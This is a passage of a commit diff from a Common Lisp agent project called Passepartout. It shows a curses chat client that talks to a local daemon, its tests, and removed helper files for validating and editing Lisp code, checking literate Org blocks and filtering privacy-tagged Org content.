(funcall 'focus-project nil nil)
(add-msg :system "Scope: project"))
((and (fboundp 'focus-memex) (string-equal scope-str "memex"))
(funcall 'focus-memex)
(add-msg :system "Scope: memex"))
(t (add-msg :system "Usage: /scope memex|session|project")))))
;; /unfocus — pop context
((and (>= (length text) 8)
(string-equal (subseq text 0 8) "/unfocus"))
(if (fboundp 'unfocus)
(progn (funcall 'unfocus)
(add-msg :system "Popped context"))
(add-msg :system "Context manager not loaded")))
;; Normal message
(t
(add-msg :user text)
(setf (st :busy) t)
(send-daemon (list :type :event
:payload (list :sensor :user-input :text text)))))
(setf (st :input-buffer) nil)
(setf (st :dirty) (list t t t))))))
;; Tab — command completion
((or (eql ch 9) (eq ch :tab))
(let ((text (input-string)))
(when (and (> (length text) 1) (eql (char text 0) #\/))
(let* ((cmds '("/eval" "/focus" "/scope" "/unfocus" "/help" "/theme"))
(match (find text cmds :test
(lambda (in cmd)
(and (>= (length cmd) (length in))
(string-equal cmd in :end1 (length in)))))))
(when match
(setf (st :input-buffer) (reverse (coerce match 'list)))
(when (member match '("/eval" "/focus" "/scope") :test #'string=)
(push #\Space (st :input-buffer)))
(setf (st :dirty) (list nil nil t)))))))
;; Backspace
((or (eq ch :backspace) (eql ch 127) (eql ch 8)
(eql ch #\Backspace))
(when (st :input-buffer) (pop (st :input-buffer)))
(setf (st :dirty) (list nil nil t)))
;; Up arrow
((or (eq ch :up) (eql ch 259))
(let* ((h (st :input-history)) (p (st :input-hpos)))
(when (and h (< p (1- (length h))))
(incf (st :input-hpos))
(setf (st :input-buffer)
(reverse (coerce (nth (st :input-hpos) h) 'list)))
(setf (st :dirty) (list nil nil t)))))
;; Down arrow
((or (eq ch :down) (eql ch 258))
(when (> (st :input-hpos) 0)
(decf (st :input-hpos))
(let ((h (st :input-history)))
(setf (st :input-buffer)
(if (and h (< (st :input-hpos) (length h)))
(reverse (coerce (nth (st :input-hpos) h) 'list))
nil))
(setf (st :dirty) (list nil nil t)))))
;; PageUp
((or (eq ch :ppage) (eql ch 339))
(incf (st :scroll-offset) 5)
(setf (st :dirty) (list nil t nil)))
;; PageDown
((or (eq ch :npage) (eql ch 338))
(setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 5)))
(setf (st :dirty) (list nil t nil)))
;; Printable
(t
(let ((chr (typecase ch
(character ch)
(integer (code-char ch))
(t nil))))
(when (and chr (graphic-char-p chr))
(push chr (st :input-buffer))
(setf (st :dirty) (list nil nil t))))))))
(defun on-daemon-msg (msg)
(let* ((payload (getf msg :payload))
(text (getf payload :text))
(action (getf payload :action)))
(cond
(text (setf (st :busy) nil)
(add-msg :agent text))
((eq action :handshake)
(add-msg :system (format nil "Connected v~a" (getf payload :version))))
(t (add-msg :agent (format nil "~a" msg))))))
(defun send-daemon (msg)
(let ((s (st :stream)))
(when (and s (open-stream-p s))
(handler-case
(progn
(format s "~a" (frame-message msg))
(finish-output s))
(error () nil)))))
(defun recv-daemon (s)
(handler-case
(let* ((hdr (make-string 6)) (n 0))
(loop while (< n 6)
do (let ((ch (read-char s nil)))
(unless ch (return-from recv-daemon nil))
(setf (char hdr n) ch) (incf n)))
(let* ((len (parse-integer hdr :radix 16 :junk-allowed t))
(buf (make-string (or len 0))))
(when (and len (> len 0))
(loop for i from 0 below len
do (let ((ch (read-char s nil)))
(unless ch (return-from recv-daemon nil))
(setf (char buf i) ch)))
(let ((*read-eval* nil))
(read-from-string buf)))))
(error () nil)))
(defun reader-loop (s)
(loop while (and (st :running) (open-stream-p s))
do (let ((msg (recv-daemon s)))
(if msg
(queue-event (list :type :daemon :payload msg))
(sleep 0.5)))))
(defun connect-daemon (&optional (host "127.0.0.1") (port 9105))
(add-msg :system "* Connecting to daemon... *")
(loop for attempt from 1 to 3
for backoff = 0 then 3
do (sleep backoff)
(handler-case
(let ((s (usocket:socket-connect host port :timeout 5)))
(setf (st :stream) (usocket:socket-stream s)
(st :connected) t)
(bt:make-thread (lambda () (reader-loop (st :stream)))
:name "tui-reader")
(add-msg :system (format nil "* Connected v~a *" "0.3.0"))
(return-from connect-daemon t))
(usocket:connection-refused-error (c)
(when (= attempt 3)
(add-msg :system (format nil "* No daemon on port ~a after ~a attempts *"
port attempt))))
(error (c)
(add-msg :system (format nil "* Connection attempt ~a failed: ~a *"
attempt c))
(when (= attempt 3)
(add-msg :system "* TIP: run 'passepartout daemon' first *")))))
nil)
(defun disconnect-daemon ()
(when (st :stream)
(ignore-errors (close (st :stream)))
(setf (st :stream) nil (st :connected) nil)
(add-msg :system "* Disconnected *")))
(defun tui-main ()
(init-state)
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
(let* ((h (or (height scr) 24))
(w (or (width scr) 80))
(sw (make-instance 'window :height 3 :width (- w 2) :y 0 :x 1))
(ch (- h 5))
(cw (make-instance 'window :height ch :width (- w 2) :y 3 :x 1))
(iw (make-instance 'window :height 1 :width (- w 2) :y (- h 1) :x 1))
(swank-port (or (ignore-errors
(parse-integer (uiop:getenv "TUI_SWANK_PORT")))
4006)))
(setf (function-keys-enabled-p iw) t
(input-blocking iw) nil
(st :dirty) (list t t t))
(connect-daemon)
(when (> swank-port 0)
(handler-case
(progn
(ql:quickload :swank :silent t)
(funcall (find-symbol "CREATE-SERVER" "SWANK")
:port swank-port :dont-close t)
(add-msg :system
(format nil "* Swank ~d M-x slime-connect *" swank-port)))
(error ()
(add-msg :system "* Swank unavailable *"))))
;; Initial render before the main loop — otherwise the screen stays
;; blank until the first keystroke (get-char blocks).
(redraw sw cw ch iw)
(refresh scr)
(loop while (st :running) do
(dolist (ev (drain-queue))
(when (eq (getf ev :type) :daemon)
(on-daemon-msg (getf ev :payload))))
(let ((ch (get-char iw)))
(when (and ch (not (equal ch -1)))
(on-key ch)))
(redraw sw cw ch iw)
(refresh scr)
(sleep 0.03))
(disconnect-daemon))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-tui-tests
(:use :cl :passepartout :passepartout.gateway-tui)
(:export #:tui-suite))
(in-package :passepartout-tui-tests)
(fiveam:def-suite tui-suite :description "Verification of the TUI model and event handling")
(fiveam:in-suite tui-suite)
(fiveam:test test-init-state
"Contract model.1: init-state returns fresh state plist with required keys."
(init-state)
(fiveam:is (eq t (st :running)))
(fiveam:is (eq :chat (st :mode)))
(fiveam:is (eq nil (st :connected)))
(fiveam:is (eq nil (st :stream)))
(fiveam:is (eq nil (st :messages)))
(fiveam:is (eq 0 (st :scroll-offset)))
(fiveam:is (eq nil (st :busy))))
(fiveam:test test-add-msg
"Contract model.2: add-msg appends a message with role, content, and time."
(init-state)
(add-msg :user "hello")
(let* ((msgs (st :messages))
(msg (first msgs)))
(fiveam:is (eq :user (getf msg :role)))
(fiveam:is (string= "hello" (getf msg :content)))
(fiveam:is (stringp (getf msg :time)))
(fiveam:is (= 5 (length (getf msg :time))))))
(fiveam:test test-add-msg-dirty-flag
"Contract model.2: add-msg sets dirty flags for status and chat."
(init-state)
(setf (st :dirty) (list nil nil nil))
(add-msg :system "boot")
(let ((dirty (st :dirty)))
(fiveam:is (eq t (first dirty)))
(fiveam:is (eq t (second dirty)))
(fiveam:is (eq nil (third dirty)))))
(fiveam:test test-queue-event-roundtrip
"Contract model.3: queue-event + drain-queue preserves events in order."
(init-state)
(queue-event '(:type :key :payload (:ch 13)))
(queue-event '(:type :daemon :payload (:text "hi")))
(let ((evs (drain-queue)))
(fiveam:is (= 2 (length evs)))
(fiveam:is (equal '(:type :key :payload (:ch 13)) (first evs)))
(fiveam:is (equal '(:type :daemon :payload (:text "hi")) (second evs)))
(fiveam:is (null (drain-queue)))))
(fiveam:test test-on-key-enter-sends-user-message
"Contract 1: on-key with Enter extracts input, adds user message, clears buffer."
(init-state)
;; Simulate typing "test"
(dolist (ch '(#\t #\e #\s #\t))
(on-key (char-code ch)))
(fiveam:is (string= "test" (input-string)))
;; Simulate Enter key — ncurses returns 343 (KEY_ENTER) when keypad is enabled
(on-key 343)
;; Input buffer should be cleared
(fiveam:is (string= "" (input-string)))
;; A user message should be in the message list
(let ((msgs (st :messages)))
(fiveam:is (>= (length msgs) 1))
(let ((last (first msgs)))
(fiveam:is (eq :user (getf last :role)))
(fiveam:is (string= "test" (getf last :content))))))
(fiveam:test test-on-key-eval-command
"Contract 1: on-key handles /eval command and displays result."
(init-state)
;; Type "/eval (+ 1 2)"
(dolist (ch (coerce "/eval (+ 1 2)" 'list))
(on-key (char-code ch)))
(on-key 343)
(let ((msgs (st :messages)))
(fiveam:is (>= (length msgs) 1))
(let ((last-msg (first msgs)))
(fiveam:is (eq :system (getf last-msg :role)))
(fiveam:is (search "=> 3" (getf last-msg :content))))))
(fiveam:test test-on-key-backspace
"Contract 1: on-key with Backspace removes last character from buffer."
(init-state)
(dolist (ch '(#\a #\b #\c))
(on-key (char-code ch)))
(fiveam:is (string= "abc" (input-string)))
;; ncurses returns 263 (KEY_BACKSPACE) when keypad is enabled
(on-key 263)
(fiveam:is (string= "ab" (input-string))))
(fiveam:test test-on-key-focus-command
"Contract 1: /focus command parses project name."
(init-state)
(dolist (ch (coerce "/focus myapp" 'list))
(on-key (char-code ch)))
(on-key 343)
(let ((msg (first (st :messages))))
(fiveam:is (eq :system (getf msg :role)))))
(fiveam:test test-on-key-scope-command
"Contract 1: /scope command with valid argument."
(init-state)
(dolist (ch (coerce "/scope memex" 'list))
(on-key (char-code ch)))
(on-key 343)
(let ((msg (first (st :messages))))
(fiveam:is (eq :system (getf msg :role)))))
(fiveam:test test-on-key-unfocus-command
"Contract 1: /unfocus command dispatches correctly."
(init-state)
(dolist (ch (coerce "/unfocus" 'list))
(on-key (char-code ch)))
(on-key 343)
(let ((msg (first (st :messages))))
(fiveam:is (eq :system (getf msg :role)))))
(fiveam:test test-on-key-tab-completion
"Contract 1: Tab completes / commands when input starts with /."
(init-state)
(dolist (ch (coerce "/ev" 'list))
(on-key (char-code ch)))
(on-key 9)
(fiveam:is (string= "/eval " (input-string))))
(fiveam:test test-on-key-tab-no-slash
"Contract 1: Tab does nothing when input doesn't start with /."
(init-state)
(dolist (ch (coerce "hello" 'list))
(on-key (char-code ch)))
(on-key 9)
(fiveam:is (string= "hello" (input-string))))
(fiveam:test test-on-key-multiline
"Contract 1: \\ + Enter inserts newline instead of sending."
(init-state)
(dolist (ch (coerce "line1" 'list))
(on-key (char-code ch)))
(on-key (char-code #\\))
(on-key 343)
(fiveam:is (search "line1" (input-string)))
(fiveam:is (search (string #\Newline) (input-string))))
(fiveam:test test-on-key-help
"Contract 1: /help displays command list."
(init-state)
(dolist (ch (coerce "/help" 'list))
(on-key (char-code ch)))
(on-key 343)
(let ((msgs (st :messages)))
(fiveam:is (>= (length msgs) 3))
(fiveam:is (some (lambda (m) (search "/eval" (getf m :content))) msgs))))
(fiveam:test test-activity-indicator
"Contract model: :busy flag is set on send and cleared on agent response."
(init-state)
(fiveam:is (eq nil (st :busy)))
;; Simulate sending a normal message (sets busy)
(dolist (ch (coerce "hello" 'list))
(on-key (char-code ch)))
(on-key 343)
(fiveam:is (eq t (st :busy)))
;; Simulate receiving an agent response (clears busy)
(on-daemon-msg '(:type :event :payload (:text "hi back")))
(fiveam:is (eq nil (st :busy))))
(fiveam:test test-theme
"Contract view: *tui-theme* provides color mappings."
(fiveam:is (eq :green (getf *tui-theme* :user)))
(fiveam:is (eq :white (getf *tui-theme* :agent)))
(fiveam:is (eq :yellow (getf *tui-theme* :system)))
(fiveam:is (eq :cyan (getf *tui-theme* :input)))
(fiveam:is (eq :white (theme-color :unknown-role))))

52
lisp/gateway-tui-model.lisp
View File

@@ -1,52 +0,0 @@
(defpackage :passepartout.gateway-tui
(:use :cl :croatoan :passepartout :usocket :bordeaux-threads)
(:export :tui-main :st :add-msg :now :input-string
:queue-event :drain-queue :init-state
:view-status :view-chat :view-input :redraw
:on-key :on-daemon-msg :send-daemon
:connect-daemon :disconnect-daemon
:*tui-theme* :theme-color))
(in-package :passepartout.gateway-tui)
(defvar *state* nil)
(defvar *event-queue* nil)
(defvar *event-lock* (bt:make-lock "tui-event-lock"))
(defvar *tui-theme*
'(:user :green :agent :white :system :yellow :input :cyan
:connected :green :disconnected :red :timestamp :yellow)
"Color theme plist. Keys are semantic roles, values are Croatoan colors.")
(defun theme-color (role)
"Returns the Croatoan color for a semantic role."
(or (getf *tui-theme* role) :white))
(defun st (key) (getf *state* key))
(defun (setf st) (val key) (setf (getf *state* key) val))
(defun init-state ()
(setf *state*
(list :running t :mode :chat :connected nil :stream nil
:input-buffer nil :input-history nil :input-hpos 0
:messages nil :scroll-offset 0 :busy nil
:dirty (list nil nil nil))))
(defun now ()
(multiple-value-bind (s m h) (get-decoded-time)
(declare (ignore s))
(format nil "~2,'0d:~2,'0d" h m)))
(defun input-string ()
(coerce (reverse (st :input-buffer)) 'string))
(defun add-msg (role content)
(push (list :role role :content content :time (now)) (st :messages))
(setf (st :dirty) (list t t nil)))
(defun queue-event (ev)
(bt:with-lock-held (*event-lock*) (push ev *event-queue*)))
(defun drain-queue ()
(bt:with-lock-held (*event-lock*)
(let ((evs (nreverse *event-queue*)))
(setf *event-queue* nil) evs)))

60
lisp/gateway-tui-view.lisp
View File

@@ -1,60 +0,0 @@
(in-package :passepartout.gateway-tui)
(defun view-status (win)
(clear win)
(box win 0 0)
(add-string win
(format nil " Passepartout ~a [~a] msgs:~a scroll:~a~a"
(if (st :connected) "● Connected" "○ Disconnected")
(string-upcase (string (st :mode)))
(length (st :messages))
(if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
(if (st :busy) " …thinking" ""))
:y 1 :x 1 :fgcolor (theme-color (if (st :connected) :connected :disconnected)))
(add-string win (format nil " ~a" (now)) :y 2 :x 1 :fgcolor (theme-color :timestamp))
(refresh win))
(defun view-chat (win h)
(clear win)
(box win 0 0)
(let* ((w (or (width win) 78))
(msgs (reverse (st :messages)))
(max-lines (- h 2))
(total (length msgs))
(start (max 0 (- total max-lines (st :scroll-offset))))
(y 1))
(loop for i from start below total
while (< y (1- h))
do (let ((msg (nth i msgs)))
(let* ((role (getf msg :role))
(content (getf msg :content))
(time (or (getf msg :time) ""))
(label (case role
(:user (format nil "⬆ [~a] ~a" time content))
(:agent (format nil "⬇ [~a] ~a" time content))
(:system (format nil " [~a] ~a" time content))
(t (format nil " [~a] ~a" time content))))
(color (theme-color (case role
(:user :user)
(:agent :agent)
(:system :system)
(t :agent)))))
(add-string win label :y y :x 1 :n (1- w) :fgcolor color)
(incf y)))))
(refresh win))
(defun view-input (win)
(let* ((text (input-string))
(w (or (width win) 78))
(clip (min (length text) (1- w))))
(clear win)
(add-string win (format nil "~a " text) :y 0 :x 0 :n (1- w) :fgcolor (theme-color :input))
(setf (cursor-position win) (list 0 clip)))
(refresh win))
(defun redraw (sw cw ch iw)
(destructuring-bind (sd cd id) (st :dirty)
(when sd (view-status sw))
(when cd (view-chat cw ch))
(when id (view-input iw))
(setf (st :dirty) (list nil nil nil))))

238
lisp/programming-lisp.lisp
View File

@@ -1,238 +0,0 @@
(in-package :passepartout)
(defun lisp-structural-check (code)
"Checks if parentheses are balanced and the code is readable."
(handler-case
(let ((*read-eval* nil))
(with-input-from-string (s code)
(loop for form = (read s nil :eof) until (eq form :eof)))
(values t nil))
(error (c)
(values nil (format nil "Reader Error: ~a" c)))))
(defun lisp-syntactic-check (code)
"Checks for valid Lisp syntax beyond just balanced parentheses."
(lisp-structural-check code))
(defun lisp-semantic-check (code)
"Checks for potentially unsafe forms."
(let ((unsafe-tokens '("eval" "load" "uiop:run-program" "sb-ext:run-program" "cl-user::eval")))
(loop for token in unsafe-tokens
when (search token (string-downcase code))
do (return-from lisp-semantic-check (values nil (format nil "Unsafe form detected: ~a" token))))
(values t nil)))
(defun lisp-validate (code &key (strict t))
"Unified validation gate for Lisp code."
(multiple-value-bind (struct-ok struct-err) (lisp-structural-check code)
(unless struct-ok
(return-from lisp-validate (list :status :error :reason struct-err)))
(when strict
(multiple-value-bind (sem-ok sem-err) (lisp-semantic-check code)
(unless sem-ok
(return-from lisp-validate (list :status :error :reason sem-err)))))
(list :status :success)))
(defun lisp-eval (code-string &key (package :passepartout))
"Evaluates a Lisp string and captures its output/results."
(let ((out (make-string-output-stream))
(err (make-string-output-stream)))
(handler-case
(let* ((*standard-output* out)
(*error-output* err)
(*package* (or (find-package package) (find-package :passepartout)))
(result (with-input-from-string (s code-string)
(let ((last-val nil))
(loop for form = (read s nil :eof) until (eq form :eof)
do (setf last-val (eval form)))
last-val))))
(list :status :success
:result (format nil "~a" result)
:output (get-output-stream-string out)
:error (get-output-stream-string err)))
(error (c)
(list :status :error
:reason (format nil "~a" c)
:output (get-output-stream-string out)
:error (get-output-stream-string err))))))
(defun lisp-format (code-string)
"Attempts to format Lisp code using Emacs batch mode if available."
(handler-case
(let ((tmp-file "/tmp/oc-format-temp.lisp"))
(uiop:with-output-file (s tmp-file :if-exists :supersede)
(format s "~a" code-string))
(multiple-value-bind (out err code)
(uiop:run-program (list "emacs" "--batch" tmp-file
"--eval" "(indent-region (point-min) (point-max))"
"--eval" "(princ (buffer-string))")
:output :string :error-output :string :ignore-error-status t)
(if (= code 0)
out
(progn
(log-message "FORMAT ERROR: ~a" err)
code-string))))
(error (c)
(log-message "FORMAT EXCEPTION: ~a" c)
code-string)))
(defun lisp-extract (code function-name)
"Extracts the definition of a specific function from a code string."
(let ((*read-eval* nil))
(with-input-from-string (s code)
(loop for form = (read s nil :eof) until (eq form :eof)
when (and (listp form)
(symbolp (car form))
(member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal)
(symbolp (second form))
(string-equal (symbol-name (second form)) function-name))
do (return-from lisp-extract (format nil "~s" form))))
nil))
(defun lisp-wrap (code target-name wrapper-symbol)
"Wraps a specific form in a wrapper form (e.g., wrap in a let)."
(let ((*read-eval* nil) (results nil))
(with-input-from-string (s code)
(loop for form = (read s nil :eof) until (eq form :eof)
do (if (and (listp form)
(symbolp (second form))
(string-equal (symbol-name (second form)) target-name))
(push (list wrapper-symbol form) results)
(push form results))))
(format nil "~{~s~^~%~%~}" (nreverse results))))
(defun lisp-list-definitions (code)
"Returns a list of names for all top-level definitions (defun, defmacro, etc.)."
(let ((*read-eval* nil) (names nil))
(with-input-from-string (s code)
(loop for form = (read s nil :eof) until (eq form :eof)
when (and (listp form)
(symbolp (car form))
(member (symbol-name (car form))
'("DEFUN" "DEFMACRO" "DEFMETHOD" "DEFVAR" "DEFPARAMETER")
:test #'string-equal)
(symbolp (second form)))
do (push (second form) names)))
(nreverse names)))
(defun lisp-inject (code target-name new-form-string)
"Injects a new form into the body of a targeted definition."
(let ((*read-eval* nil)
(new-form (read-from-string new-form-string))
(results nil))
(with-input-from-string (s code)
(loop for form = (read s nil :eof) until (eq form :eof)
do (if (and (listp form)
(symbolp (car form))
(member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal)
(symbolp (second form))
(string-equal (symbol-name (second form)) target-name))
(push (append form (list new-form)) results)
(push form results))))
(format nil "~{~s~^~%~%~}" (nreverse results))))
(defun lisp-slurp (code target-name form-to-slurp-string)
"Adds a form to the end of a named list or definition (Paredit slurp)."
(let ((*read-eval* nil)
(to-slurp (read-from-string form-to-slurp-string))
(results nil))
(with-input-from-string (s code)
(loop for form = (read s nil :eof) until (eq form :eof)
do (if (and (listp form)
(symbolp (second form))
(string-equal (symbol-name (second form)) target-name))
(push (append form (list to-slurp)) results)
(push form results))))
(format nil "~{~s~^~%~%~}" (nreverse results))))
(defskill :passepartout-programming-lisp
:priority 400
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(defpackage :passepartout-utils-lisp-tests
(:use :cl :fiveam :passepartout)
(:export #:utils-lisp-suite))
(in-package :passepartout-utils-lisp-tests)
(def-suite utils-lisp-suite
:description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
(in-suite utils-lisp-suite)
(test structural-balanced
"Contract 1: balanced code returns T."
(is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
(test structural-unbalanced-open
"Contract 1: missing close paren returns nil + error."
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
(is (null ok))
(is (search "Reader Error" reason))))
(test structural-unbalanced-close
"Contract 1: extra close paren returns nil + error."
(multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
(is (null ok))
(is (search "Reader Error" reason))))
(test syntactic-valid
"Contract 2: valid syntax passes syntactic check."
(is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
(test semantic-safe
"Contract 3: safe code passes semantic check."
(is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
(test semantic-blocked-eval
"Contract 3: eval forms are blocked by semantic check."
(multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
(is (null ok))
(is (search "Unsafe" reason))))
(test unified-success
"Contract 4: valid code returns :success via lisp-validate."
(let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
(is (eq (getf result :status) :success))))
(test unified-failure
"Contract 4: invalid code returns :error via lisp-validate."
(let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
(is (eq (getf result :status) :error))))
(test eval-basic
"Contract 5: lisp-eval returns :success with captured result."
(let ((result (passepartout:lisp-eval "(+ 1 2)")))
(is (eq (getf result :status) :success))
(is (string= (getf result :result) "3"))))
(test structural-extract
"Contract 6: lisp-extract finds and returns a named function."
(let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
(extracted (passepartout:lisp-extract code "hello")))
(is (not (null extracted)))
(let ((form (read-from-string extracted)))
(is (eq (car form) 'DEFUN))
(is (eq (second form) 'HELLO)))))
(test list-definitions
"Contract 7: lisp-list-definitions returns all defined names."
(let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)"))
(let ((names (passepartout:lisp-list-definitions code)))
(is (member 'FOO names))
(is (member 'BAR names))
(is (member '*BAZ* names)))))
(test structural-inject
"Contract 8: lisp-inject adds a form to a function body."
(let* ((code "(defun my-fun (x) (print x))")
(injected (passepartout:lisp-inject code "my-fun" "(finish-output)")))
(let ((form (read-from-string injected)))
(is (equal (last form) '((FINISH-OUTPUT)))))))
(test structural-slurp
"Contract 9: lisp-slurp appends a form to a function body."
(let* ((code "(defun work () (step-1))")
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
(let ((form (read-from-string slurped)))
(is (equal (last form) '((STEP-2)))))))

103
lisp/programming-literate.lisp
View File

@@ -1,103 +0,0 @@
(in-package :passepartout)
(defun literate-extract-lisp-blocks (content)
"Extracts all #+begin_src lisp ... #+end_src blocks from Org CONTENT.
Returns a list of block strings."
(let ((lines (uiop:split-string content :separator '(#\Newline)))
(blocks nil)
(in-block nil)
(current-block nil))
(dolist (line lines)
(let ((trimmed (string-trim '(#\Space) line)))
(cond
((uiop:string-prefix-p "#+begin_src lisp" trimmed)
(setf in-block t current-block nil))
((uiop:string-prefix-p "#+end_src" trimmed)
(when in-block
(push (format nil "~{~a~^~%~}" (nreverse current-block)) blocks)
(setf in-block nil current-block nil)))
(in-block
(push line current-block)))))
(nreverse blocks)))
(defun literate-block-balance-check (org-file)
"Verifies that all Lisp source blocks in an Org file have balanced parentheses.
Returns T if all blocks pass validation, or an error string listing failures."
(when (not (uiop:file-exists-p org-file))
(return-from literate-block-balance-check
(format nil "Org file not found: ~a" org-file)))
(let* ((content (uiop:read-file-string org-file))
(blocks (literate-extract-lisp-blocks content))
(failures nil))
(if (null blocks)
t
(progn
(loop for i from 0
for block in blocks
for (ok reason) = (multiple-value-list
(lisp-structural-check block))
unless ok
do (push (format nil "Block ~d: ~a" (1+ i) reason) failures))
(if failures
(format nil "Unbalanced blocks in ~a:~%~{~a~^~%~}" org-file failures)
t)))))
(defun literate-tangle-sync-check (org-file lisp-file)
"Verifies that the .lisp file matches the tangled output of the .org file.
Compares the concatenation of all lisp blocks from the Org file against the
contents of the Lisp file. Returns T if they match, or an error message."
(when (not (uiop:file-exists-p org-file))
(return-from literate-tangle-sync-check
(format nil "Org file not found: ~a" org-file)))
(when (not (uiop:file-exists-p lisp-file))
(return-from literate-tangle-sync-check
(format nil "Lisp file not found: ~a" lisp-file)))
(let* ((org-content (uiop:read-file-string org-file))
(org-blocks (literate-extract-lisp-blocks org-content))
(tangled (format nil "~{~a~^~%~%~}" org-blocks))
(lisp-content (uiop:read-file-string lisp-file)))
(if (string= (string-trim '(#\Space #\Newline) tangled)
(string-trim '(#\Space #\Newline) lisp-content))
t
(format nil "Tangle sync mismatch: ~a does not match ~a" org-file lisp-file))))
(defskill :passepartout-programming-literate
:priority 300
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-programming-literate-tests
(:use :cl :fiveam :passepartout)
(:export #:literate-suite))
(in-package :passepartout-programming-literate-tests)
(def-suite literate-suite :description "Verification of the Literate Programming skill")
(in-suite literate-suite)
(test test-extract-lisp-blocks
"Contract 1: extracts lisp from #+begin_src blocks."
(let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src"))
(extracted (literate-extract-lisp-blocks org-content)))
(let ((joined (format nil "~{~a~^~%~}" extracted)))
(is (search "(+ 1 2)" joined))
(is (search "(+ 3 4)" joined)))))
(test test-block-balance-check-valid
"Contract 2: balanced parens return T."
(is (eq t (literate-block-balance-check
(merge-pathnames "org/core-loop.org"
(uiop:ensure-directory-pathname
(uiop:getenv "PASSEPARTOUT_DATA_DIR")))))))
(test test-block-balance-check-missing-close
"Contract 2: unbalanced parens return non-T."
(is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org")))))
(test test-tangle-sync-check
"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
(let ((result (literate-tangle-sync-check "org/core-loop.org" "lisp/core-loop.lisp")))
(is (or (eq t result) (stringp result))
"Should return T or a mismatch description")))

312
lisp/programming-org.lisp
View File

@@ -1,312 +0,0 @@
(in-package :passepartout)
(defun org-filetags-extract (content)
"Extracts the list of tags from a #+FILETAGS: line."
(let ((lines (uiop:split-string content :separator '(#\Newline))))
(dolist (line lines)
(when (uiop:string-prefix-p "#+FILETAGS:" (string-trim '(#\Space) line))
(let ((tag-str (string-trim " :" (subseq (string-trim '(#\Space) line) 10))))
(return-from org-filetags-extract
(mapcar (lambda (tag) (format nil ":~a" (string-trim '(#\Space) tag)))
(uiop:split-string tag-str :separator '(#\space #\tab))))))))
nil)
(defun org-privacy-tag-p (tags-list)
"Returns T if any tag in TAGS-LIST matches bouncer-privacy-tags."
(let ((privacy-tags (symbol-value (find-symbol "BOUNCER-PRIVACY-TAGS" :passepartout))))
(when (and tags-list privacy-tags)
(some (lambda (tag)
(some (lambda (private-tag)
(string-equal (string-trim '(#\: #\space) tag)
(string-trim '(#\: #\space) private-tag)))
privacy-tags))
tags-list))))
(defun org-privacy-strip (content)
"Removes Org headlines whose :TAGS: property contains a privacy-filtered tag.
Returns the filtered content as a string."
(let* ((lines (uiop:split-string content :separator '(#\Newline)))
(result-lines nil)
(skip-depth nil)
(current-tags nil)
(in-properties nil))
(dolist (line lines)
(cond
(skip-depth
;; We're inside a skipped subtree
(when (and (uiop:string-prefix-p "*" (string-trim '(#\Space) line))
(<= (length (string-trim '(#\Space) line)) skip-depth))
(setf skip-depth nil)))
((uiop:string-prefix-p ":PROPERTIES:" (string-trim '(#\Space) line))
(setf in-properties t)
(push line result-lines))
((uiop:string-prefix-p ":END:" (string-trim '(#\Space) line))
(setf in-properties nil)
(when current-tags
(when (org-privacy-tag-p (reverse current-tags))
(setf skip-depth
(length (car (last result-lines
(1+ (position-if
(lambda (l)
(uiop:string-prefix-p "*" (string-trim '(#\Space) l)))
(reverse result-lines))))))))
(setf current-tags nil))
(push line result-lines))
((and in-properties (uiop:string-prefix-p ":TAGS:" (string-trim '(#\Space) line)))
(let ((tag-val (string-trim '(#\Space) (subseq (string-trim '(#\Space) line) 6))))
(setf current-tags (uiop:split-string tag-val :separator '(#\space #\tab))))
(push line result-lines))
(t
(push line result-lines))))
(format nil "~{~a~%~}" (nreverse result-lines))))
(defun org-read-file (filepath)
"Reads an Org file into a string, applying privacy filtering."
(let* ((raw (uiop:read-file-string filepath))
(filetags (org-filetags-extract raw)))
(if (org-privacy-tag-p filetags)
(progn
(log-message "UTILS-ORG: Blocked read of ~a — file-level privacy tag(s) ~a" filepath filetags)
nil)
(org-privacy-strip raw))))
(defun org-write-file (filepath content)
"Writes content to an Org file."
(uiop:with-output-file (s filepath :if-exists :supersede)
(format s "~a" content)))
(defun org-id-generate ()
"Generates a new UUID for an Org node."
(string-downcase (format nil "~a" (uuid:make-v4-uuid))))
(defun org-id-format (id)
"Ensures the ID has the 'id:' prefix."
(if (uiop:string-prefix-p "id:" id)
id
(format nil "id:~a" id)))
(defun org-property-set (ast target-id property value)
"Recursively sets a property on a headline with a matching ID in the AST."
(let ((type (getf ast :type))
(props (getf ast :properties))
(contents (getf ast :contents)))
(when (and (eq type :HEADLINE) (string= (getf props :ID) target-id))
(setf (getf (getf ast :properties) property) value)
(return-from org-property-set t))
(dolist (child contents)
(when (listp child)
(when (org-property-set child target-id property value)
(return-from org-property-set t)))))
nil)
(defun org-todo-set (ast target-id status)
"Sets the TODO status of a headline in the AST."
(org-property-set ast target-id :TODO status))
(defun org-headline-add (ast parent-id title)
"Adds a new headline as a child of the parent-id in the AST."
(let* ((type (getf ast :type))
(props (getf ast :properties))
(id (getf props :ID))
(contents (getf ast :contents)))
